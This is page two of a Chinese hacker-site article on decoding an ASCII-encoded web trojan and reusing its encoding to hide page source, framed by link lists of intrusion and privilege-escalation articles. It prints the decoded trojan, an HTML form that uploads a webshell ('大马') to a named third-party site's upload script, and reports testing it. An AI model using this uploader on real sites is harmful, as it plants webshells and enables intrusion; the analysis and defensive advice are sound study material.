·	没有路由密码权限时的鸽	08-23	·	上网安全 Vista自我防范	10-11
·	让濒临崩溃的Windows XP	10-11	·	有备无患，快速自制救急	10-11
·	要你好看!Windows看图工	10-11	·	空间赞助网提供不同类型	10-11
·	讨论net.exe和net1.exe的	10-10	·	让3389远程桌面传输更通	10-10
·	巧妙入侵渗透赌博站	10-10	·	Aspx空间扫权限工具	10-10
·	Windows2003最新提权工具	10-10	·	易淘乐提供100M免费全能	10-10
·	系统开机密码忘了不着急	10-09	·	中意网络提供免费100M免	10-09
·	与众不同 Windows XP开始	10-08	·	让桌面图标翻跟斗在XP上	10-08
·	上海宽元站长资助计划-提	10-08	·	个性化Windows XP的任务	10-07
·	趣盘提供3G免费网络硬盘	10-07	·	秀山热线提供200MB免费全	10-07
·	一次艰辛的提权过程	10-06	·	成功入侵IT大卖场的渗透	10-06
·	mysqlhack- MYSQL利用工	10-06	·	lanker一句话PHP后门客户	10-06
·	WIXI提供3G免费多媒体网	10-06	·	新人网络提供100M/ftp免	10-06
·	如何利用QQ带来高流量	10-05	·	UuShare提供免费网络文件	10-05

[图文]对某ASC加密网马的破解和利用

荐 ★★★★★

对某ASC加密网马的破解和利用

文章整理发布：黑客风云文章来源：www.05112.com 更新时间：2008-6-4 16:39:07

以下是引用片段：
<body>
<form action=http://www.51iccard.com/upfile_other.asp method=post name=form1 onsubmit=return
click() enctype=multipart/form-data>
<p align="center"><span class="STYLE4"> 源(</span><span class="STYLE3">图片</span><span class="STYLE4">)文件：
  </span>
<input name="filename" type="file" class="buttonUnActive" size="20">
<span class="STYLE4">
目标(</span><span class="STYLE3">大马</span><span class="STYLE4">)文件：
  </span>
<input name="filename1" type=file class=buttonUnActive size=20></p>
<p align="center">
  <input name=submit type=submit class="button"  style=border"1px value=上传大马 double rgb(88.88.88);font:9pt>
  <input name=imgwidth type=hidden id=imgwidth>
  <input name=imgheight type=hidden id=imgheight>
  <input name=aligntype type=hidden id="channelid" value="0">
  <input name="channelid" type="hidden" id="channelurlid" value=0>
  <input name="id" type="hidden" id="id2">
</p>

4、解密效果

　　拷贝解密后的html代码保存为一test.htm文件，在浏览器中打开，进行上传测试成功，说明对该网马的ASC解密成功。(图3)

　

5、加密利用

　　在破解了该网马的ASC加密之后，我们利用该网马的加密原理对我们的网页进行加密，达到保护网页代码的效果。ASC加密主要用来保护静态页面代码，动态代码由于在服务器端，客户端显示的只是运行结果。“IT专家网”的页面是动态生成的，作为演示就以它为例进行。

　　查看并拷贝网页代码，通过“ASCCII速查器”把字符转换成ASC值。然后把生成的ASC值拷贝到我们破解的网马代码中作为t的值。这样可以别人就不能看到网页源代码，看到的只是其的ASC值，对网页代码起到了一定的保护作用，运行效果和加密前完全一样。(图4)

　

　　总结：ASC加密是当前静态网页加密的主要形式，从上面笔者对某网马的解密看，这种加密形式并不能从根本上保证网页代码的安全。基于笔者及其朋友网站维护的经验，推荐几种网页加密方法：

　　1、脚本加密，通过类似VB、JAVA这样脚本代码实现：封锁鼠标右键、禁止查看源文件、链接调用地址加密等功能。

　　2、IIS的密码，通过对IIS的安全、验证等部署，防止非授权的访问。

　　3、ASP程序加密，使用ASP程序来给网页进行加密，现在大多数网站都使用ASP程序，它对Web服务器没有具体要求，而其加密就是借助数据库及ASP程序进行设计，来实现一种通用网页加密。

　　4、软件加密，现在给网页加密的软件非常多，其基本原理都是利用javascript代码，只不过是这些软件都自动准备好了这些代码，只需使用者将网页源代码粘进去点击“加密”按钮就可以了。

上一页 [1] [2]

文章录入：cainiaowang 责任编辑：xinlian

上一篇文章：关于phpwind克隆用户

下一篇文章： Search Engine XSS Worm

【字体：小大】

中介交易区

没有路由密码权限时的鸽子上线方	08-23
完全解析网页后门和挂马	04-02
真实的网络攻击取证纪实	03-27
利用404错误页面挂马	03-21
解密风暴	03-21
社会工程学在黑客中的应用	01-02
轻轻松松解密各种网页木马	12-21
SA权限无xp_cmdshell时取权限又一	12-14
sqlserver2005中恢复xp_cmdshell	11-10
实现无net.exe和net1.exe添加系统	10-26
用U盘轻松去除XP管理员密码	10-26
教你多种保护措施限用移动硬盘	10-09